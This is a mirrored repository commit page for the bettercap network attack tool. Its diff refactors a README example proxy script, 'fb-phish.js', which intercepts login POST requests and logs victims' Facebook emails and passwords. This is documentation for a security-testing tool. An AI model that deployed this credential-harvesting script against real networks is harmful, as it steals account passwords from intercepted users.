mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 21:43:18 -07:00
balls
This commit is contained in:
parent
fbce0b63fb
commit
6bde70f9eb
1 changed files with 3 additions and 13 deletions
16
README.md
16
README.md
|
@ -174,19 +174,9 @@ The `caplets/fb-phish.js` proxy script file:
|
||||||
```javascript
|
```javascript
|
||||||
function onRequest(req, res) {
|
function onRequest(req, res) {
|
||||||
if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) {
|
if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) {
|
||||||
var body = req.ReadBody();
|
var form = req.ParseForm();
|
||||||
var parts = body.split('&');
|
var email = form["email"] || "?",
|
||||||
var email = "?", pass = "?";
|
pass = form["pass"] || "?";
|
||||||
|
|
||||||
for( var i = 0; i < parts.length; i++ ) {
|
|
||||||
var nv = parts[i].split('=');
|
|
||||||
if( nv[0] == "email" ) {
|
|
||||||
email = nv[1];
|
|
||||||
}
|
|
||||||
else if( nv[0] == "pass" ) {
|
|
||||||
pass = nv[1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" );
|
log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" );
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue